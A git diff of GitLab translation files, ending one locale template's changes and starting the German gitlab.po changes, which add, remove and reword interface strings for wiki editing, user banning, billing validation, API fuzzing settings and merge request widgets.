@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36278,6 +36981,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] ""
msgstr[1] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,10 +38991,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38267,9 +39033,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38285,12 +39048,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/de/gitlab.po b/locale/de/gitlab.po
index eee7b641ba0..c8207d2eb8a 100644
--- a/locale/de/gitlab.po
+++ b/locale/de/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: de\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:20\n"
+"PO-Revision-Date: 2021-06-01 20:38\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] "%d Ebene"
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr "%{group_docs_link_start}Gruppen%{group_docs_link_end} ermöglichen dir die Verwaltung und die Zusammenarbeit über mehrere Projekte hinweg. Mitglieder einer Gruppe haben Zugriff auf alle Projekte darin."
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr "%{link_start}Erfahre mehr%{link_end} über Rollenberechtigungen"
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -849,9 +857,6 @@ msgstr "%{state} Epics"
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr "%{userName} (kann nicht mergen)"
msgid "%{userName}'s avatar"
msgstr "Avatar von %{userName}"
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr "Profileseite von %{user_name}"
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr "'%{source}' ist keine Import-Quelle"
@@ -1364,6 +1372,9 @@ msgstr "Ein SSL-Zertifikat von Let's Encrypt kann erst nach Domainbestätigung a
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr "Ein Let's Encrypt-Konto wird für diese GitLab-Installation mit deiner E-Mail-Adresse konfiguriert. Du erhältst E-Mails, um vor dem Ablaufen der Zertifikate zu warnen."
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr "Eine grundlegende Seite und serverlose Funktion, die AWS Lambda, AWS API Gateway und GitLab Pages verwendet"
@@ -1385,6 +1396,9 @@ msgstr "Ein(e) gelöschte(r) Benutzer(in)"
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr "In einem Projekt speicherst du deine Dateien (Repository), planst deine Arbeit (Tickets) und veröffentlichst deine Dokumentation (Wiki), %{among_other_things_link}."
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr "Ein sicheres Token, das die Anfrage eines externen Speichers identifiziert."
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr "AWS Zugangsschlüssel"
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr "Aufzählungsliste hinzufügen"
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr "Adminbereich"
@@ -2330,9 +2350,6 @@ msgstr "Umgebungsvariablen sind standardmäßig geschützt"
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr "Keine Pipeline erforderlich"
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr "Erforderliche Pipeline-Konfiguration"
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr "Lege eine instanzweite automatisch inkludierte %{link_start}Pipeline-Konfiguration%{link_end} fest. Diese Pipeline-Konfiguration wird nach der projekteigenen Konfiguration ausgeführt."
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr "Gib eine Domain an, die standardmäßig für die Auto-Review-Anwendungen- und Auto-Bereitstsellungs-Phasen jedes Projekts verwendet werden soll."
@@ -2420,6 +2431,9 @@ msgstr "Codeausschnitte"
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr "2FA deaktiviert"
msgid "AdminUsers|2FA Enabled"
msgstr "2FA aktiviert"
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr "Kann gesperrte LDAP-Benutzer(innen) nicht entsperren"
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr "Deakivieren"
@@ -2570,6 +2605,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr "Das bist du!"
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr "Zur Bestätigung %{projectName} eingeben"
msgid "AdminUsers|To confirm, type %{username}"
msgstr "Zur Bestätigung %{username} eingeben"
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr "Diese(r) Benutzer(in) kann nicht auf Git-Repositories zugreifen"
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr "Erweitert"
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] "Alarm"
msgstr[1] "Alarme"
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr "Alle Features sind für leere Projekte, Vorlagen, oder beim Import aktiviert. Du kannst sie aber danach in den Projekteinstellungen deaktivieren."
-
msgid "All groups and projects"
msgstr "Alle Gruppen und Projekte"
@@ -3277,6 +3330,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr "Beim Abrufen der Label-Farben ist ein Fehler aufgetreten."
msgid "An error occurred while fetching markdown preview"
msgstr "Beim Abrufen der Markdown-Vorschau ist ein Fehler aufgetreten"
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr "Beim Umordnen von Tickets ist ein Fehler aufgetreten."
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr "Apr"
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr "Archiviertes Projekt! Repository und andere Projektressourcen sind schreibgeschützt"
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr "Archiviertes Projekt! Repository und andere Projektressourcen sind schreibgeschützt"
msgid "Archived projects"
msgstr "Archivierte Projekte"
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr "Automatische Zertifikatsverwaltung mit Let's Encrypt"
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr "Hintergrundfarbe"
msgid "Background Jobs"
msgstr "Hintergrundjobs"
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr "Hintergrundfarbe"
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr "Erfahre mehr über jeden einzelnen Tarif, indem du unsere %{pricing_page_link} besuchst."
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr "Tarif verwalten"
@@ -5004,6 +5069,9 @@ msgstr "Diese Gruppe verwendet den Tarif der übergeordneten Gruppe."
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr "Im Abschnitt Abrechnung von %{parent_billing_page_link} kannst du den Tarif für diese Gruppe verwalten."
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr "Häufig gestellte Fragen (FAQ)"
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr "monatlich"
@@ -5037,6 +5108,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr "Aktive Branches"
msgid "Branches|All"
msgstr "Alle"
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr "HEAD-Commit kann für diesen Branch nicht gefunden werden"
@@ -5298,6 +5402,9 @@ msgstr "Lösche alle Branches, die in \"%{default_branch}\" zusammengeführt wer
msgid "Branches|Delete branch"
msgstr "Branch löschen"
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr "Zusammengeführte Branches löschen"
